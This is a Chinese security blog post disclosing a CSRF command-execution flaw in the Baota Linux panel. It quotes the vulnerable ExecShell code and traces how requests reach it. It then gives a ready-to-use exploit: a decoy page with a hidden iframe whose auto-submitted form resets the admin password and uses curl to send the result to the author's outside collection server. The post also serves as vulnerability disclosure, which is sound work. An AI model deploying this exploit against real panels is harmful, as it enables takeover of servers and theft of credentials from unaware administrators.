微慑信息网

宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

前言

我自己就在用宝塔面板,但是网上没有搜索到相关的漏洞信息,又担心某一天一不小心自己就被黑了,那就尴尬了.

决定审计一波。

宝塔面板对登录验证的逻辑十分到位,很多操作都需要登录后才能进行,我姿势水平有限.审了半天只审出来一堆CSRF的洞….赶脚我好菜啊…

下面随便拿一个举个例子….

漏洞位置

#files.py lines:922-935
def ExecShell(self,get):
    disabled = ['vi','vim','top','passwd','su']
    get.shell = get.shell.strip()
    tmp = get.shell.split(' ');
    if tmp[0] in disabled: return public.returnMsg(False,'FILE_SHELL_ERR',(tmp[0],));
    shellStr = '''#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
cd %s
%s
''' % (get.path,get.shell)
    public.writeFile('/tmp/panelShell.sh',shellStr);
    os.system('nohup bash /tmp/panelShell.sh > /tmp/panelShell.pl 2>&1 &');
    return public.returnMsg(True,'FILE_SHELL_EXEC');

流程分析

我们跟进一下,看一下具体流程

#main.py 
#lines:41
{...
'/files'   , 'panelFiles'
...}
#lines 351-365
class panelFiles(common.panelAdmin):
    def GET(self):
        data = {}
        data['lan'] = public.getLan('files')
        return render.files(data)

    def POST(self):
        import files
        filesObject = files.files()
        defs = ('CheckExistsFiles','GetExecLog','GetSearch','ExecShell','GetExecShellMsg','UploadFile','GetDir','CreateFile','CreateDir','DeleteDir','DeleteFile',
                'CopyFile','CopyDir','MvFile','GetFileBody','SaveFileBody','Zip','UnZip',
                'GetFileAccess','SetFileAccess','GetDirSize','SetBatchData','BatchPaste',
                'DownloadFile','GetTaskSpeed','CloseLogs','InstallSoft','UninstallSoft',
                'RemoveTask','ActionTask','Re_Recycle_bin','Get_Recycle_bin','Del_Recycle_bin','Close_Recycle_bin','Recycle_bin')
        return publicObject(filesObject,defs);
#---一些无关代码---
#lines 940-953
def publicObject(toObject,defs):
    get = web.input(zunfile = {},data = []);
    if hasattr(get,'path'):
            get.path = get.path.replace('//','/').replace('\\','/');
            if get.path.find('->') != -1:
                get.path = get.path.split('->')[0].strip();
    for key in defs:
        if key == get.action:
            fun = 'toObject.'+key+'(get)'
            if hasattr(get,'html'):
                return eval(fun)
            else:
                return public.getJson(eval(fun))
    return public.returnJson(False,'ARGS_ERR')

可以看到,宝塔并未对CSRF攻击进行防御,直接将用户请求调用函数执行了..

EXP

就以命令执行修改密码为例

当攻击者构造

<!-- raw.html -->
<html>
<meta charset="UTF-8">
<h1>这是一个测试页面..</h1>
<h2>什么都没有.
<h2>blog:https://www.hexlt.org/
<div style="display:none"><iframe src="1.html" style="display:none"></iframe></div>
</html>
<!-- 1.html -->
<meta charset="UTF-8">
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
<div id="ss"><form id="form_id" action="http://www.bt.cn:8888/files?action=ExecShell" method="post"><input name="path" value="/www/server/panel" type="hidden"><input value='curl --data "result=`python tools.pyc panel justforfun963.`" http://xss.hexlt.org/index.php' name='shell' type="hidden"><input type="submit">
</div>
<script type="text/javascript">
$("#form_id").submit();
</script>

如果管理员登录了宝塔面板,在session失效前打开了攻击者的网页

网页

那么将在他毫不知情的情况下密码被改为 justforfun963.

并将用户名发送给攻击者

如果不能载图请用谷歌浏览器打开,火狐sm.ms的图床会崩掉..

结果

结合社工可以达到一定危害。

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册